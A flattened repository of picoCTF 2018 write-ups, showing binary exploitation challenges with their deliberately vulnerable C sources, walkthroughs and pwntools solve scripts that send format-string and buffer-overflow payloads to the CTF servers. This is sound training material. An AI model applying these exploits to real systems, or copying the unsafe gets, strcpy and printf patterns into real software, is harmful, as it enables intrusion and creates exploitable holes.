Repository: PlatyPew/picoctf-2018-writeup Branch: master Commit: ad54bf8c5fc9 Files: 276 Total size: 302.3 KB Directory structure: gitextract_onc07rvn/ ├── .gitmodules ├── Binary Exploitation/ │ ├── are you root?/ │ │ ├── README.md │ │ └── files/ │ │ ├── auth │ │ └── auth.c │ ├── authenticate/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── auth │ │ │ └── auth.c │ │ └── solution/ │ │ └── solve.py │ ├── buffer overflow 0/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── vuln │ │ │ └── vuln.c │ │ └── solution/ │ │ ├── flag.txt │ │ ├── solve.py │ │ └── vuln │ ├── buffer overflow 1/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── flag.txt │ │ │ ├── vuln │ │ │ └── vuln.c │ │ └── solution/ │ │ ├── flag.txt │ │ ├── solve.py │ │ └── vuln │ ├── buffer overflow 2/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── flag.txt │ │ │ ├── vuln │ │ │ └── vuln.c │ │ └── solution/ │ │ ├── solve.py │ │ └── vuln │ ├── buffer overflow 3/ │ │ ├── README.md │ │ └── files/ │ │ ├── vuln │ │ └── vuln.c │ ├── can-you-gets-me/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── gets │ │ │ └── gets.c │ │ └── solution/ │ │ └── solve.py │ ├── echo back/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── echoback │ │ └── solution/ │ │ └── solve.py │ ├── echooo/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── echo │ │ │ └── echo.c │ │ └── solution/ │ │ └── solve.py │ ├── got-2-learn-libc/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── vuln │ │ │ └── vuln.c │ │ └── solution/ │ │ └── solve.py │ ├── got-shell?/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── auth │ │ │ └── auth.c │ │ └── solution/ │ │ ├── auth │ │ └── solve.py │ ├── gps/ │ │ ├── README.md │ │ └── files/ │ │ ├── gps │ │ └── gps.c │ ├── leak-me/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── auth │ │ │ └── auth.c │ │ └── solution/ │ │ └── solve.py │ ├── rop chain/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── exp │ │ │ ├── flag.txt │ │ │ ├── rop │ │ │ └── rop.c │ │ └── solution/ │ │ └── solve.py │ └── shellcode/ │ ├── README.md │ ├── files/ │ │ ├── exploit │ │ ├── vuln │ │ └── vuln.c │ └── solution/ │ └── solve.py ├── Cryptography/ │ ├── Crypto Warmup 1/ │ │ ├── README.md │ │ └── files/ │ │ └── table.txt │ ├── Crypto Warmup 2/ │ │ └── README.md │ ├── HEEEEEEERE'S Johnny!/ │ │ ├── README.md │ │ └── files/ │ │ ├── passwd │ │ └── shadow │ ├── James Brahm Returns/ │ │ ├── README.md │ │ └── files/ │ │ └── source.py │ ├── Magic Padding Oracle/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── pkcs7.py │ │ └── solution/ │ │ ├── requirements.txt │ │ └── solution.py │ ├── Safe RSA/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── ciphertext │ │ └── solution/ │ │ └── solve.py │ ├── SpyFi/ │ │ ├── README.md │ │ └── files/ │ │ └── spy_terminal_no_flag.py │ ├── Super Safe RSA/ │ │ ├── README.md │ │ └── solution/ │ │ ├── ciphertext │ │ └── solve.py │ ├── Super Safe RSA 2/ │ │ ├── README.md │ │ └── solution/ │ │ ├── ciphertext │ │ ├── solve.py │ │ └── wienerAttack/ │ │ ├── Arithmetic.py │ │ ├── ContinuedFractions.py │ │ ├── RSAwienerHacker.py │ │ └── __init__.py │ ├── Super Safe RSA 3/ │ │ ├── README.md │ │ └── solution/ │ │ ├── ciphertext │ │ └── solve.py │ ├── blaise's cipher/ │ │ ├── README.md │ │ └── solution/ │ │ └── ciphertext │ ├── caesar cipher 1/ │ │ ├── README.md │ │ └── files/ │ │ └── ciphertext │ ├── caesar cipher 2/ │ │ ├── README.md │ │ └── files/ │ │ └── ciphertext │ ├── hertz/ │ │ ├── README.md │ │ └── solution/ │ │ └── ciphertext │ ├── hertz 2/ │ │ ├── README.md │ │ └── solution/ │ │ └── ciphertext │ └── rsa-madlibs/ │ ├── README.md │ └── solution/ │ └── solve.py ├── Forensics/ │ ├── Desrouleaux/ │ │ ├── README.md │ │ └── files/ │ │ └── incidents.json │ ├── Ext Super Magic/ │ │ ├── README.md │ │ └── files/ │ │ └── ext-super-magic.img │ ├── Forensics Warmup 1/ │ │ └── README.md │ ├── Forensics Warmup 2/ │ │ └── README.md │ ├── LoadSomeBits/ │ │ └── README.md │ ├── Lying Out/ │ │ └── README.md │ ├── Malware Shops/ │ │ ├── README.md │ │ └── files/ │ │ └── info.txt │ ├── Reading Between the Eyes/ │ │ └── README.md │ ├── Recovering From the Snap/ │ │ ├── README.md │ │ └── files/ │ │ └── animals.dd │ ├── Truly an Artist/ │ │ └── README.md │ ├── What's My Name?/ │ │ ├── README.md │ │ └── files/ │ │ └── myname.pcap │ ├── admin panel/ │ │ ├── README.md │ │ └── files/ │ │ └── admin_panel.pcap │ ├── core/ │ │ ├── README.md │ │ └── files/ │ │ ├── core │ │ └── print_flag │ ├── hex editor/ │ │ └── README.md │ └── now you don't/ │ └── README.md ├── General Skills/ │ ├── Aca-Shell-A/ │ │ └── README.md │ ├── Dog or Frog/ │ │ └── README.md │ ├── General Warmup 1/ │ │ └── README.md │ ├── General Warmup 2/ │ │ └── README.md │ ├── General Warmup 3/ │ │ └── README.md │ ├── Resources/ │ │ ├── README.md │ │ └── solution/ │ │ └── source/ │ │ └── resources │ ├── absolutely relative/ │ │ ├── README.md │ │ └── files/ │ │ ├── absolutely-relative │ │ ├── absolutely-relative.c │ │ └── permission.txt │ ├── environ/ │ │ └── README.md │ ├── grep 1/ │ │ ├── README.md │ │ └── files/ │ │ └── file │ ├── grep 2/ │ │ └── README.md │ ├── in out error/ │ │ ├── README.md │ │ └── files/ │ │ └── in-out-error │ ├── learn gdb/ │ │ ├── README.md │ │ └── files/ │ │ └── run │ ├── net cat/ │ │ └── README.md │ ├── pipe/ │ │ └── README.md │ ├── roulette/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── roulette │ │ │ └── roulette.c │ │ └── solution/ │ │ ├── Makefile │ │ ├── generate.c │ │ └── solve.py │ ├── script me/ │ │ ├── README.md │ │ └── solution/ │ │ └── solve.py │ ├── ssh-keyz/ │ │ └── README.md │ ├── store/ │ │ ├── README.md │ │ └── files/ │ │ ├── source.c │ │ └── store │ ├── strings/ │ │ ├── README.md │ │ └── files/ │ │ └── strings │ ├── what base is this?/ │ │ ├── README.md │ │ └── solution/ │ │ └── solve.py │ └── you can't see me/ │ └── README.md ├── README.md ├── Reversing/ │ ├── Radix's Terminal/ │ │ └── README.md │ ├── Reversing Warmup 1/ │ │ ├── README.md │ │ └── files/ │ │ └── run │ ├── Reversing Warmup 2/ │ │ └── README.md │ ├── assembly-0/ │ │ ├── README.md │ │ └── files/ │ │ └── intro_asm_rev.S │ ├── assembly-1/ │ │ ├── README.md │ │ └── files/ │ │ └── eq_asm_rev.S │ ├── assembly-2/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── loop_asm_rev.S │ │ └── solution/ │ │ ├── Makefile │ │ ├── loop.s │ │ ├── solve.c │ │ └── solve.sh │ ├── assembly-3/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── end_asm_rev.S │ │ └── solution/ │ │ ├── Makefile │ │ ├── end.s │ │ ├── solve.c │ │ └── solve.sh │ ├── assembly-4/ │ │ ├── README.md │ │ ├── files/ │ │ │ ├── Makefile │ │ │ └── comp.nasm │ │ └── solution/ │ │ ├── Makefile │ │ ├── comp.nasm │ │ └── solve.sh │ ├── be-quick-or-be-dead-1/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── be-quick-or-be-dead-1 │ │ └── solution/ │ │ └── be-quick-or-be-dead-1_patched │ ├── be-quick-or-be-dead-2/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── be-quick-or-be-dead-2 │ │ └── solution/ │ │ ├── be-quick-or-be-dead-2_patched │ │ └── calculate.py │ ├── be-quick-or-be-dead-3/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── be-quick-or-be-dead-3 │ │ └── solution/ │ │ ├── be-quick-or-be-dead-3 │ │ └── solve.py │ ├── keygen-me-1/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── activate │ │ └── solution/ │ │ └── test.c │ ├── quackme/ │ │ ├── README.md │ │ ├── files/ │ │ │ └── main │ │ └── solution/ │ │ └── solve.py │ ├── quackme up/ │ │ ├── README.md │ │ └── files/ │ │ └── main │ └── special-pw/ │ ├── README.md │ └── files/ │ └── special_pw.S ├── Web Exploitation/ │ ├── A Simple Question/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── answer2.phps │ │ └── index.html │ ├── Artisinal Handcrafted HTTP 3/ │ │ ├── README.md │ │ └── solution/ │ │ └── solve.py │ ├── Buttons/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── boo.html │ │ ├── button1.php │ │ └── index.html │ ├── Client Side is Still Bad/ │ │ ├── README.md │ │ └── solution/ │ │ └── source/ │ │ └── index.html │ ├── Flaskcards/ │ │ └── README.md │ ├── Flaskcards Skeleton Key/ │ │ └── README.md │ ├── Help Me Reset 2/ │ │ └── README.md │ ├── Inspect Me/ │ │ ├── README.md │ │ └── solution/ │ │ └── source/ │ │ ├── index.html │ │ ├── mycss.css │ │ └── myjs.js │ ├── Irish Name Repo/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── index.html │ │ ├── login.html │ │ └── support.html │ ├── LambDash 3/ │ │ └── README.md │ ├── Logon/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── index.html │ │ └── logout │ ├── Mr. Robots/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── index.html │ │ ├── robots.txt │ │ └── style.css │ ├── No Login/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── flag │ │ ├── index.html │ │ └── unimplemented │ ├── Secret Agent/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── flag │ │ ├── index.html │ │ └── unimplemented │ ├── Secure Logon/ │ │ ├── README.md │ │ └── files/ │ │ └── server_noflag.py │ ├── The Vault/ │ │ ├── README.md │ │ └── solution/ │ │ ├── solve.py │ │ └── source/ │ │ ├── index.html │ │ └── login.txt │ └── fancy-alive-monitoring/ │ ├── README.md │ └── solution/ │ ├── solve.py │ └── source/ │ ├── index.php │ └── index.txt ├── _config.yml └── template/ └── README.md ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitmodules ================================================ [submodule "Binary Exploitation/can-you-gets-me/solution/ROPgadget"] path = Binary Exploitation/can-you-gets-me/solution/ROPgadget url = https://github.com/JonathanSalwan/ROPgadget.git [submodule "Cryptography/Super Safe RSA/solution/msieve"] path = Cryptography/Super Safe RSA/solution/msieve url = https://github.com/radii/msieve.git [submodule "Cryptography/Super Safe RSA 3/solution/msieve"] path = Cryptography/Super Safe RSA 3/solution/msieve url = https://github.com/radii/msieve.git ================================================ FILE: Binary Exploitation/are you root?/README.md ================================================ # are you root? Points: 550 ## Category Binary Exploitation ## Question >Can you get root access through this [service](files/auth) and get the flag? Connect with `nc 2018shell1.picoctf.com 29508`. [Source](files/auth.c). ### Hint >If only the program used calloc to zero out the memory.. ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Binary Exploitation/are you root?/files/auth.c ================================================ #include #include #include #include typedef enum auth_level { ANONYMOUS = 1, GUEST = 2, USER = 3, ADMIN = 4, ROOT = 5 } auth_level_t; struct user { char *name; auth_level_t level; }; void give_flag(){ char flag[48]; FILE *f = fopen("flag.txt", "r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } if ((fgets(flag, 48, f)) == NULL){ puts("Couldn't read flag file."); exit(1); }; puts(flag); fclose(f); } void menu(){ puts("Available commands:"); puts("\tshow - show your current user and authorization level"); puts("\tlogin [name] - log in as [name]"); puts("\tset-auth [level] - set your authorization level (must be below 5)"); puts("\tget-flag - print the flag (requires authorization level 5)"); puts("\treset - log out and reset authorization level"); puts("\tquit - exit the program"); } int main(int argc, char **argv){ char buf[512]; char *arg; uint32_t level; struct user *user; setbuf(stdout, NULL); menu(); user = NULL; while(1){ puts("\nEnter your command:"); putchar('>'); putchar(' '); if(fgets(buf, 512, stdin) == NULL) break; if (!strncmp(buf, "show", 4)){ if(user == NULL){ puts("Not logged in."); }else{ printf("Logged in as %s [%u]\n", user->name, user->level); } }else if (!strncmp(buf, "login", 5)){ if (user != NULL){ puts("Already logged in. Reset first."); continue; } arg = strtok(&buf[6], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } user = (struct user *)malloc(sizeof(struct user)); if (user == NULL) { puts("malloc() returned NULL. Out of Memory\n"); exit(-1); } user->name = strdup(arg); printf("Logged in as \"%s\"\n", arg); }else if(!strncmp(buf, "set-auth", 8)){ if(user == NULL){ puts("Login first."); continue; } arg = strtok(&buf[9], "\n"); if (arg == NULL){ puts("Invalid command"); continue; } level = strtoul(arg, NULL, 10); if (level >= 5){ puts("Can only set authorization level below 5"); continue; } user->level = level; printf("Set authorization level to \"%u\"\n", level); }else if(!strncmp(buf, "get-flag", 8)){ if (user == NULL){ puts("Login first!"); continue; } if (user->level != 5){ puts("Must have authorization level 5."); continue; } give_flag(); }else if(!strncmp(buf, "reset", 5)){ if (user == NULL){ puts("Not logged in!"); continue; } free(user->name); user = NULL; puts("Logged out!"); }else if(!strncmp(buf, "quit", 4)){ return 0; }else{ puts("Invalid option"); menu(); } } } ================================================ FILE: Binary Exploitation/authenticate/README.md ================================================ # authenticate Points: 350 ## Category Binary Exploitation ## Question >Can you [authenticate](files/auth) to this service and get the flag? Connect with nc 2018shell1.picoctf.com 27114. [Source](files/auth.c). ### Hint >What happens if you say something OTHER than yes or no? ## Solution Looking at the source code, there appears to be some sort of authentication service, with no actual way to authenticate. We can see that there's an _authenticated_ variable, which is set to _0_, and never changed anywhere in the code. We also notice that there is possibly a form of format string vulnerability. ```c int main(int argc, char **argv) { char buf[64]; printf("Would you like to read the flag? (yes/no)\n"); fgets(buf, sizeof(buf), stdin); if (strstr(buf, "no") != NULL) { printf("Okay, Exiting...\n"); exit(1); } else if (strstr(buf, "yes") == NULL) { puts("Received Unknown Input:\n"); printf(buf); // Format String Vulnerability } read_flag(); } ``` We can try running the binary and inputting _%x_ to see if any values from the stack leaks. ``` $ ./auth Would you like to read the flag? (yes/no) %x%x Received Unknown Input: 80489a6f7f235c0 Sorry, you are not *authenticated*! ``` Let's find out where the authenticated varialbe is located and its corresponding value. ``` [0x08048560]> s obj.authenticated [0x0804a04c]> px 4 - offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 0x0804a04c 0000 0000 .... [0x0804a04c]> s 0x804a04c ``` Looks like it's located at _0x804a04c_ with a value of _0_. Let's craft an exploit. We add characters with familiar know hex values followed by multiple _%x_ ``` $ ./auth Would you like to read the flag? (yes/no) AAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x Received Unknown Input: AAAA 80489a6 f7f5b5c0 804875a 0 c30000 0 fffd3ff4 0 0 0 41414141 20782520 25207825 78252078 20782520 25207825 78252078 20782520 25207825 Sorry, you are not *authenticated*! ``` Looks like the 11th _%x_ did the trick. Now substitue _AAAA_ with the little endian values of the _authenticated_ variable's address and all the _%x_ with _%11$n_. This will overwrite the value of _authenticated_. Send the exploit to the service and get the flag. Working solution [solve.py](solution/solve.py). ### Flag `picoCTF{y0u_4r3_n0w_aUtH3nt1c4t3d_742b49a4}` ================================================ FILE: Binary Exploitation/authenticate/files/auth.c ================================================ #include #include #include #include #include int authenticated = 0; int flag() { char flag[48]; FILE *file; file = fopen("flag.txt", "r"); if (file == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag, sizeof(flag), file); printf("%s", flag); return 0; } void read_flag() { if (!authenticated) { printf("Sorry, you are not *authenticated*!\n"); } else { printf("Access Granted.\n"); flag(); } } int main(int argc, char **argv) { setvbuf(stdout, NULL, _IONBF, 0); char buf[64]; // Set the gid to the effective gid // this prevents /bin/sh from dropping the privileges gid_t gid = getegid(); setresgid(gid, gid, gid); printf("Would you like to read the flag? (yes/no)\n"); fgets(buf, sizeof(buf), stdin); if (strstr(buf, "no") != NULL) { printf("Okay, Exiting...\n"); exit(1); } else if (strstr(buf, "yes") == NULL) { puts("Received Unknown Input:\n"); printf(buf); } read_flag(); } ================================================ FILE: Binary Exploitation/authenticate/solution/solve.py ================================================ #!/usr/bin/python from pwn import * from time import sleep import re auth_addr = p32(0x0804a04c) exploit = auth_addr + '%11$n' log.info('Exploit created') s = remote('2018shell1.picoctf.com', 27114) print s.recv() log.info('Sending exploit...') s.sendline(exploit) sleep(0.5) log.info('Sent!') flag = s.recv() log.success('Flag: ' + re.findall(r'(picoCTF\{.+\})', flag)[0]) ================================================ FILE: Binary Exploitation/buffer overflow 0/README.md ================================================ # buffer overflow 0 Points: 150 ## Category Binary Exploitation ## Question >Let's start off simple, can you overflow the right buffer in this [program](files/vuln) to get the flag? You can also find it in /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d on the shell server. [Source](files/vuln.c). ### Hint >How can you trigger the flag to print? > >If you try to do the math by hand, maybe try and add a few more characters. Sometimes there are things you aren't expecting. ## Solution We can try pwning the binary locally first. Firstly, create a file _flag.txt_ and add some contents into it. Do a sample run of the program. ``` $ ./vuln This program takes 1 argument. ``` Ok, now we try with an argument ``` $ ./vuln AAAA Thanks! Received: AAAA ``` Seems like it's redirecting the input into output. Let's take a look at the source code. ```c // Imports here... // Define flag size here... void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ // Reading flag here... signal(SIGSEGV, sigsegv_handler); // gid settings here... if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; } ``` It looks like the `signal(SIGSEGV, sigsegv_handler)` redirects execution to `sigsegv_handler()` and prints the flag. In `vuln()`, there is no boundary checking, so even though there is only space for 16 bytes, it `strcpy()` will keep inserting bytes into `buf`. We can try running the program again, but this time, with a lot more characters. ``` $ ./vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAA picoCTF{sample_flag} ``` We did it locally! It takes 28 or more bytes to leak out the flag. All we have to do is send it to the webshell. ``` $ /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAA picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae} ``` Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{ov3rfl0ws_ar3nt_that_bad_5d8a1fae}` ================================================ FILE: Binary Exploitation/buffer overflow 0/files/vuln.c ================================================ #include #include #include #include #define FLAGSIZE_MAX 64 char flag[FLAGSIZE_MAX]; void sigsegv_handler(int sig) { fprintf(stderr, "%s\n", flag); fflush(stderr); exit(1); } void vuln(char *input){ char buf[16]; strcpy(buf, input); } int main(int argc, char **argv){ FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(flag,FLAGSIZE_MAX,f); signal(SIGSEGV, sigsegv_handler); gid_t gid = getegid(); setresgid(gid, gid, gid); if (argc > 1) { vuln(argv[1]); printf("Thanks! Received: %s", argv[1]); } else printf("This program takes 1 argument.\n"); return 0; } ================================================ FILE: Binary Exploitation/buffer overflow 0/solution/flag.txt ================================================ picoCTF{sample_flag} ================================================ FILE: Binary Exploitation/buffer overflow 0/solution/solve.py ================================================ #!/usr/bin/python from pwn import * USER = 'Platy' # Change username accordingly. s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first exploit = 'A' * 28 py = s.run('cd /problems/buffer-overflow-0_2_aab3d2a22456675a9f9c29783b256a3d; ./vuln {}'.format(exploit)) print py.recv() s.close() ================================================ FILE: Binary Exploitation/buffer overflow 1/README.md ================================================ # buffer overflow 1 Points: 200 ## Category Binary Exploitation ## Question >Okay now you're cooking! This time can you overflow the buffer and return to the flag function in this program? You can find it in /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 on the shell server. Source. ### Hint >This time you're actually going to have to control that return address! > >Make sure you consider Big Endian vs Little Endian. ## Solution Before looking at the source code, we can run the program first. ``` $ ./vuln Please enter your string: AAAA Okay, time to return... Fingers Crossed... Jumping to 0x80486b3 ``` Looks like it takes in an input, and jumps to an address. Let's look at the source code now. ```c // Imports here... #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); // Reading flag file printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ // Unimportant stuff puts("Please enter your string: "); vuln(); return 0; } ``` We can see that the address that it shows us is the return address, which should be the address of _main_. If we do a buffer overflow, we can take control of the return address, and let the program jump to wherever we want. In this case, we would like to jump to the _win_ function, which prints out the flag. Let's try spamming the program again to see if our hunch is correct. ``` $ ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Okay, time to return... Fingers Crossed... Jumping to 0x41414141 Segmentation fault ``` The return address has been overwritten to _0x41414141_, which is the hex value of _A_. As long as we can find the correct amount of padding, we can control the where the return pointer returns to. We can use the [De Bruijn sequence](https://en.wikipedia.org/wiki/De_Bruijn_sequence), which will find the padding we need. We will use _pwntools_. ```python >>> from pwn import * >>> cyclic(100) 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa' ``` We can now feed that string into the program and see what address the program jumps to. ``` $ ./vuln Please enter your string: aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa Okay, time to return... Fingers Crossed... Jumping to 0x6161616c Segmentation fault ``` Ok, it jumps to _0x6161616c_. We can use `cyclic_find()` to find the offset. First we convert the hex back into ASCII. Remember that this is in little endian format. `p32()` just converts the hex back into ASCII in little endian format. ```python >>> from pwn import * >>> cyclic_find(p32(0x6161616c)) 44 ``` Now we know the amount of padding required. Let's test it again, with 44 'A's, and another 4 'B's. We should expect the address to show _0x41414141_. ``` $ ./vuln Please enter your string: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB Okay, time to return... Fingers Crossed... Jumping to 0x42424242 Segmentation fault ``` Just as we expected. All that's left to do is to replace _BBBB_ with the ASCII values that corresponds to the address of the _win_ function. ```python >>> from pwn import * >>> vuln = ELF('./vuln') [*] '/root/Desktop/picoCTF/Binary Exploitation/buffer overflow 1/solution/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments >>> p32(vuln.symbols['win']) # Get address of win function '\xcb\x85\x04\x08' >>> 'A' * 44 + '\xcb\x85\x04\x08' 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xcb\x85\x04\x08' ``` Of course, we cannot type _\xcb\x85\x04\x08_ in ASCII format, so all we have to do is have Python output this string, and pipe it into the program _vuln_. ``` $ python -c "from pwn import *; print 'A' * 44 + '\xcb\x85\x04\x08'" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{sample_flag} Segmentation fault ``` Great! It works locally, all we have to do now is run it on the web shell. ``` $ cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78 $ python -c "from pwn import *; print 'A' * 44 + '\xcb\x85\x04\x08'" | ./vuln Please enter your string: Okay, time to return... Fingers Crossed... Jumping to 0x80485cb picoCTF{addr3ss3s_ar3_3asy65489706}Segmentation fault ``` And we get the flag! Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{addr3ss3s_ar3_3asy65489706}` ================================================ FILE: Binary Exploitation/buffer overflow 1/files/flag.txt ================================================ picoCTF{addr3ss3s_ar3_3asy65489706} ================================================ FILE: Binary Exploitation/buffer overflow 1/files/vuln.c ================================================ #include #include #include #include #include #include "asm.h" #define BUFSIZE 32 #define FLAGSIZE 64 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address()); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; } ================================================ FILE: Binary Exploitation/buffer overflow 1/solution/flag.txt ================================================ picoCTF{sample_flag} ================================================ FILE: Binary Exploitation/buffer overflow 1/solution/solve.py ================================================ #!/usr/bin/python from pwn import * import os PATH = os.path.dirname(os.path.realpath(__file__)) USER = 'Platy' # Change username accordingly. vuln = ELF(PATH + '/vuln') padding = 'A' * 44 payload = p32(vuln.symbols['win']) exploit = padding + payload s = ssh(host='2018shell1.picoctf.com', user=USER) # Make sure ssh-keyz challenge is done first py = s.run('cd /problems/buffer-overflow-1_3_af8f83fb19a7e2c98e28e325e4cacf78; ./vuln') print py.recv() py.sendline(exploit) print py.recv() s.close() ================================================ FILE: Binary Exploitation/buffer overflow 2/README.md ================================================ # buffer overflow 2 Points: 250 ## Category Binary Exploitation ## Question >Alright, this time you'll need to control some arguments. Can you get the flag from this [program](files/vuln)? You can find it in /problems/buffer-overflow-2_0_738235740acfbf7941e233ec2f86f3b4 on the shell server. [Source](files/vuln.c). ### Hint >Try using gdb to print out the stack once you write to it! ## Solution Working solution [solve.py](solution/solve.py) ### Flag `picoCTF{addr3ss3s_ar3_3asyada28e9b}` ================================================ FILE: Binary Exploitation/buffer overflow 2/files/flag.txt ================================================ picoCTF{addr3ss3s_ar3_3asyada28e9b} ================================================ FILE: Binary Exploitation/buffer overflow 2/files/vuln.c ================================================ #include #include #include #include #include #define BUFSIZE 100 #define FLAGSIZE 64 void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); if (arg1 != 0xDEADBEEF) return; if (arg2 != 0xDEADC0DE) return; printf(buf); } void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf); } int main(int argc, char **argv){ setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid); puts("Please enter your string: "); vuln(); return 0; } ================================================ FILE: Binary Exploitation/buffer overflow 2/solution/solve.py ================================================ #!/usr/bin/python from pwn import * vuln = ELF('./vuln') padding = 'A' * 112 payload = p32(vuln.symbols['win']) exploit = padding + payload + asm('nop') * 4 + p32(0xDEADBEEF) + p32(0xDEADC0DE) s = ssh(host='2018shell1.picoctf.com', user='Platy') py = s.run('cd /problems/buffer-overflow-2_0_738235740acfbf7941e233ec2f86f3b4; ./vuln') print py.recv() py.sendline(exploit) print py.recv() s.close() ================================================ FILE: Binary Exploitation/buffer overflow 3/README.md ================================================ # buffer overflow 3 Points: 450 ## Category Binary Exploitation ## Question >It looks like Dr. Xernon added a stack canary to this [program](files/vuln) to protect against buffer overflows. Do you think you can bypass the protection and get the flag? You can find it in /problems/buffer-overflow-3_3_6bcc2aa22b2b7a4a7e3ca6b2e1194faf. [Source](files/vuln.c). ### Hint >Maybe there's a smart way to brute-force the canary? ## Solution Unsolved. ### Flag `flag` ================================================ FILE: Binary Exploitation/buffer overflow 3/files/vuln.c ================================================ #include #include #include #include #include #include #include #define BUFSIZE 32 #define FLAGSIZE 64 #define CANARY_SIZE 4 void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("Flag File is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fgets(buf,FLAGSIZE,f); puts(buf); fflush(stdout); } char global_canary[CANARY_SIZE]; void read_canary() { FILE *f = fopen("canary.txt","r"); if (f == NULL) { printf("Canary is Missing. Problem is Misconfigured, please contact an Admin if you are running this on the shell server.\n"); exit(0); } fread(global_canary,sizeof(char),CANARY_SIZE,f); fclose(f); } void vuln(){ char canary[CANARY_SIZE]; char buf[BUFSIZE]; char length[BUFSIZE]; int count; int x = 0; memcpy(canary,global_canary,CANARY_SIZE); printf("How Many Bytes will You Write Into the Buffer?\n> "); while (x "); read(0,buf,count); if (memcmp(canary,global_canary,CANARY_SIZE)) { printf("*** Stack Smashing Detected *** : Canary Value Corrupt!\n"); exit(-1); } printf("Ok... Now Where's the Flag?\n"); fflush(stdout); } int main(int argc, char **argv){ 